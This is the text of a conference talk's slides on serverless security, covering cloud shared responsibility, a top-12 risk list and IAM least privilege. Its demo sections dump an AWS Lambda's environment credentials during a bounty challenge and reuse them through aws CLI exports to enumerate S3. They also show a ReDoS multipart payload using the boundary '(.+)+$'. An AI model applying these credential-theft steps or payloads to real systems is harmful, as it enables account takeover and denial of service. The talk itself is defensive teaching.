SERVERLESS SECURITY:
Attackers & Defenders
Ory Segal

https://www.puresec.io/
About Me ( @orysegal )

- CTO & Co-founder at PURESEC, Serverless security
- Involved in AppSec field since the 90’s
- AppShield (World’s 1st WAF), IBM AppScan, Akamai Kona Cloud Security
- Author of 20+ patents in the fields of App Security

HTTP/2 fingerprinting, SSHowDowN Proxy (IoT), JS Code-flow Manipulation, HQL Tampering, Apache httpd RCE (CVE-2002-0061), Apache OpenWhisk Mutability (CVE-2018-11756/7), Serverless Security Top 10, CSA Serverless Security Top 12 - & contributed to HTTP Response Splitting, HTTP Request Smuggling, MITRE CWE, SANS Top25, ...

Founder & guitarist of the Israeli Art-Rock band PITS

https://pits1.bandcamp.com/
Agenda

SERVERLESS SECURITY IN A NUTSHELL

FOCUS ON A FEW RISKS & PITFALLS

GET OUR HANDS DIRTY WITH A LIVE DEMO

ACTION ITEMS FOR YOU
Why Serverless?

Increasing focus on business logic

Decreasing concern & control over infrastructure
Serverless Benefits

- No servers to manage
- Continuous scaling
- Sub-second metering
- Less security responsibilities
SERVERLESS SECURITY...

2014 - 2017: NOT YOUR SERVERS, NOT YOUR PROBLEM...

2018 – TODAY: NOT QUITE...
Shared Model Of Responsibility

**APPLICATION OWNER**
Responsible for security “IN” the cloud

**CLOUD PROVIDER**
Responsible for security “OF” the cloud

- **CLIENT-SIDE**
- **DATA IN CLOUD**
- **DATA IN TRANSIT**
- **APPLICATIONS (FUNCTIONS)**
- **IDENTITY & ACCESS MANAGEMENT**
- **CLOUD SERVICES CONFIGURATION**
- **OPERATING SYSTEM + VIRTUAL MACHINES + CONTAINERS**
- **COMPUTE**
- **STORAGE**
- **DATABASE**
- **NETWORK**
- **REGIONS**
- **AVAILABILITY ZONES**
- **EDGE LOCATIONS**
Security Responsibility: When You Own The Infrastructure (IaaS)

- Physical infrastructure, access restrictions to physical perimeter and hardware
- Secure configuration of infrastructure devices and systems
- Regularly testing the security of all systems/processes (OS, services)
- Identification and authentication of access to systems (OS, services)
- Patching and fixing flaws in OS
- Hardening OS and services
- Protecting all systems against malware and backdoors
- Patching and fixing flaws in runtime environment and related software packages
- Exploit prevention and memory protection
- Network segmentation
- Tracking and monitoring all network resources and access
- Installation and maintenance of network firewalls
- Network-layer DoS protection
- Authentication of users
- Authorization controls when accessing application and data
- Log and maintain audit trails of all access to application and data
- Deploy an application layer firewall for event-data inspection
- Detect and fix vulnerabilities in third-party dependencies
- Use least-privileged IAM roles and permissions
- Enforce legitimate application behavior
- Data leak prevention
- Scan code and configurations statically during development
- Maintain serverless/cloud asset inventory
- Remove obsolete/unused cloud services and functions
- Continuously monitor errors and security incidents

Security Responsibility: When You Adopt Serverless

- Physical infrastructure, access restrictions to physical perimeter and hardware
- Secure configuration of infrastructure devices and systems
- Regularly testing the security of all systems/processes (OS, services)
- Identification and authentication of access to systems (OS, services)
- Patching and fixing flaws in OS
- Hardening OS and services
- Protecting all systems against malware and backdoors
- Patching and fixing flaws in runtime environment and related software packages
- Exploit prevention and memory protection
- Network segmentation
- Tracking and monitoring all network resources and access
- Installation and maintenance of network firewalls
- Network-layer DoS protection
- Authentication of users
- Authorization controls when accessing application and data
- Log and maintain audit trails of all access to application and data
- Deploy an application layer firewall for event-data inspection
- Detect and fix vulnerabilities in third-party dependencies
- Use least-privileged IAM roles and permissions
- Enforce legitimate application behavior
- Data leak prevention
- Scan code and configurations statically during development
- Maintain serverless/cloud asset inventory
- Remove obsolete/unused cloud services and functions
- Continuously monitor errors and security incidents

EVENT SOURCES

EVENT-DATA INJECTION

UNAUTHORIZED DEPLOYMENT

DEPENDENCY POISONING

CLOUD RESOURCES

COMPROMISE DATA

Bypass authentication

Leak secrets

Denial of service

Financial exhaustion

Code execution

...
Top Risks for Serverless Applications

- SAS-1 Function event-data injection
- SAS-2 Broken authentication
- SAS-3 Insecure serverless deployment
- SAS-4 Over-privileged function permissions
- SAS-5 Inadequate function monitoring
- SAS-6 Insecure 3rd party dependencies
- SAS-7 Insecure app secrets storage
- SAS-8 DoS & Financial exhaustion
- SAS-9 Serverless business logic manipulation
- SAS-10 Improper exceptions handling & errors
- SAS-11 Legacy functions & cloud resources
- SAS-12 Cross-execution data persistency
The Need For Serverless-Native Protection

TRADITIONAL SECURITY

Puts at risk applications by being deployed on networks and servers

SERVERLESS

The application owner doesn't have any control over the infrastructure

TRADITIONAL SECURITY SOLUTIONS HAVE BECOME UNSUITABLE
Traditional Protections Cannot Be Deployed On Serverless

With No Infrastructure Based Protections, Your Security is Reduced to Good Coding and Strict Configuration
IAM
 FUNCTIONS SHOULD ONLY BE ALLOWED TO DO WHAT THEY ARE TASKED WITH

AWS IAM MODEL IS EXTREMELY POWERFUL, YET HARD TO GET RIGHT

HUMAN FACTOR

'OVER-PRIVILEGED' ISSUES ARE THE MOST COMMON MISTAKE IN SERVERLESS APPLICATIONS

LEAST-PRIVILEGED IAM ROLES ARE LIKE BULKHEADS. THEY WILL CONTAIN ATTACKERS TO A SPECIFIC VULNERABLE FUNCTION IN CASE OF A BREACH

QUICK QUIZ:
NAME & SPELL THE CORRECT IAM PERMISSION

Dynamo:*
How We Hacked Lambdashell.com (http://bit.ly/lambda-shell-hack)

IS SERVERLESS INSECURE? LET'S FIND OUT.

This is a simple AWS lambda function that does a straight exec. Essentially giving you a shell directly in my AWS infrastructure to just run your commands. A security teams worst nightmare.

Do whatever you want. Ultimate goal: take over the account, escalate privs or find some sensitive info.

Configured with all default permissions and settings. This service will sit for a bit and if nothing interesting happens it will be reconfigured very insecurely to see what happens. $1,000 Bounty. Found something? Let me know at root@lambdashell.com
Challenge accepted!
Get The Environment Variables

```
user@host:~ $ env
AWS_LAMBDA_FUNCTION_VERSION=$LATEST
AWS_SESSION_TOKEN=FQoGZXIvYXdzEI3/////////wEaDBf8iRkI7D7bAFuvYCLdAdkrHRoqs8BEX7eCQtgGANjvvJP+m00
jbVIgd1UEMExwWF8Hzs9oySC/sYDz2FLAEfom/Q6lKqJJ1HYlKoXLx0xMEHEwsYOzPUIbhlSaHKS0ugxocl9sDaIEjcuUez1kF
kCmSQ3AG9uXiBPsb+omKrXeSKUzqYULSoom9Z05NgKvDNSAD7WERdirjT7QoszjmVTiSB6s03kjZquu82dkD9JAQ943bg4G
Cd+5Oxm2Hi2XuwaCuo15bYhWxZ9q8RBfQfNOIKQqh2+IF
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/exec
LAMBDA_TASK_ROOT=/var/task
```
Impersonate The Lambda Function

```bash
[~]$ export AWS_SESSION_TOKEN=FQoGZXIvYXdzE13/.../wEaDBf8iRkI7D7bAFuvYCLdAdkrHROqs8BEX7eCQtgGANjvvJPl+m00KbprU7nEvasjbVIdglUEMEXxWF8Hzs90ySC/sYdz2FLAEFom/Q6IKqJJ1HylKolX0xMHEWsY0zPUIbh1aSaHKS0ugxocl9sDaIEjcUbzkfjxzv0eOZ5T00PkCmSQ3AG9uXiBPsb+omK rxESKUZqYULsOogm9Z0SNgKvDNSAD7WERdirjT7QoszjmVTiSB6s03k jZquu82dk9JAQ943bg4Gixf8CLUvB6P9Cd+50xmZHiZXuewaCuo15bYhWxZ9q8RBfQfNOIKQqh2+IF
[~]$ export AWS_SECRET_ACCESS_KEY=Y6aONZa78rMb3pxYvp2SYh+Uz3Ik00nlykHcTa
[~]$ export AWS_ACCESS_KEY_ID=ASIARZMXIAFTJIRU3KEE
[~]$ aws sts get-caller-identity
{
  "UserId": "AROAI55KPKEETYCGL4SXW:exec",
  "Account": "123260633446",
  "Arn": "arn:aws:sts::123260633446:assumed-role/lambda_basic_execution/exec"
}
[~]$  
```
I’m the smartest man alive!
Fail Miserably – Strict IAM Permissions

`[~]$ aws lambda list-functions`

An error occurred (AccessDeniedException) when calling the ListFunctions operation: User: arn:aws:sts::123456789012:system:c_execution/exec is not authorized to perform: lambda:ListFunctions on resource: *

`[~]$`
We’re Doomed!
Maybe There’s An S3 Bucket Involved?

```bash
[~]$ aws s3api head-bucket --bucket www.lambdashell.com
[~]$
```
There’s Always An S3 Bucket!

```
[~]$ aws s3api head-bucket --bucket www.lambdashell.com
[~]$ aws s3api head-bucket --bucket serverless-security.presentation.com

An error occurred (404) when calling the HeadBucket operation: Not Found
[~]$ 
```
List the Contents of the Bucket

```
[~]$ aws s3api list-objects --bucket www.lambdashell.com | head -n 20
{
    "Contents": [
    {
        "Key": "css/main.css",
        "LastModified": "2018-08-23T03:49:04.000Z",
        "ETag": "6bd27c95c05151c6df6876d6c5e5ba20",
        "Size": 10447,
        "StorageClass": "STANDARD",
        "Owner": {
            "DisplayName": "whysoserverless",
            "ID": "7264f9de10b9e1de419ead91d38e8ef559425490820380ea69ea642dbf61e"
        }
    },
    {
        "Key": "css/style.css",
    }
    ]
}```
Do I Have “WRITE” Permissions?

That’s odd?!@# Oh, wait …oh no….
YOU DID WHAT
?!@#?!@
GETTING IAM PERMISSIONS RIGHT

- Adopt ‘Role-per-Function’ model
- Think twice before hitting Shift +
- Use SAM managed policies
- SLS: use custom roles per function, ‘role-per-function’ plugin
- Use the free PureSec ‘least-privileged’ IAM automatic role generator

Policies:

- Give DynamoDB Full Access to your Lambda Function
  - AmazonDynamoDBFullAccess

- Give just CRUD permissions to one table
  - DynamoDBCrudPolicy:
    TableName: !Ref MyTable

functions:

  someFunction:
    handler: puresec.main
    iamRoleStatementsName: role-name
    iamRoleStatements:
      - Effect: "Allow"
        Action:
          - dynamodb:PutItem
        Resource: ...
App-DoS // ReDoS

& Why You Should Tame Your 3rd. Party Dependencies
Corey Quinn ( @QuinnyPig )

“I doubt you will find anything interesting, but give it your best shot!”
Email Parsing with `email.utils.parseaddr()`

```python
import json
import sendgrid
import os
from sendgrid.helpers.mail import *
from urllib.parse import unquote
import urllib.request as urllib

import boto3
import base64

#...
def confirm(event, context):
    sg = sendgrid.SendGridAPIClient(apikey=os.environ.get('SENDGRID_API_KEY'))
    body = event['body']
    subscriber = unquote((body.split('=', 1)[1]).rstrip())
    subject = "null"
    content = "null"

to_email = Email(subscriber)  # Parse email address
    payload = encrypt_email(subscriber)
    mail = Mail()
```
"Bar, Foo" <foo@bar.site> ➔ RFC 2822

Wait, that’s not a serverless attack!...

POST x1000, rinse, repeat... now it is!
Mission Accomplished

@QuinnyPig:

Some idiot's Serverless newsletter subscription system had a DoS vector within it. I've got no idea who PureSec could possibly be referring to, but I bet the newsletter in question is incredibly insightful, and dazzlingly well written.
More App-DoS (ReDoS)

aws-lambda-multipart-parser

0.1.3 • Public • Published 6 months ago

Introduction

Support of multipart/form-data requests is a relatively new feature for AWS Lambdas. Although, there is such feature, majority of libraries for parsing multipart/form-data requests is based on server technology, which can't be used in case of AWS Lambdas. That's why, AWS Lambda specific multipart/form-data parser was created.
More App-DoS (ReDoS)

POST /app HTTP/1.1
Host: www.some.site
Connection: keep-alive
Content-Length: 234
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryljc1QBHyyBRhF6EI

----------WebKitFormBoundaryljc1QBHyyBRhF6EI
Content-Disposition: form-data; name="fname"

foo

----------WebKitFormBoundaryljc1QBHyyBRhF6EI
Content-Disposition: form-data; name="lname"

bar

----------WebKitFormBoundaryljc1QBHyyBRhF6EI--
module.exports.parse = (event, spotText) => {
    const boundary = getValueIgnoringKeyCase(event.headers, 'Content-Type').split (':')[1];
    const body = (event.isBase64Encoded ? Buffer.from(event.body, 'base64').toString('binary') : event.body)
        .split(new RegExp(boundary))
        .filter(item => item.match(/Content-Disposition/))
More App-DoS (ReDoS)

POST /app HTTP/1.1
Host: xxxxxxxxxxxxxxx.execute-api.us-east-1.amazonaws.com
Content-Length: 327
Content-Type: multipart/form-data; boundary=(.+)+$
Connection: keep-alive

(.+)+$
Content-Disposition: form-data; name="text"

PureSec
(.+)+$
Content-Disposition: form-data; name="file1"; filename="a.txt"
Content-Type: text/plain
DEMO TIME
1. Candidate sends CV as PDF in email
2. SES receives email, creates SNS message
3. SNS invokes the function
4. Function converts PDF to text + stores results in DynamoDB
5. Function sends receipt to candidate
TAKE ACTION
12 Most Critical Risks for Serverless (CSA)  

AWS Lambda Security Best-Practices eBook  

OWASP Serverless-Goat  

Tame OSS packages w/ Function-Shield (free)  
https://puresec.io/function-shield

Deploy a Serverless Security Platform  
https://www.puresec.io/get-puresec
Q & A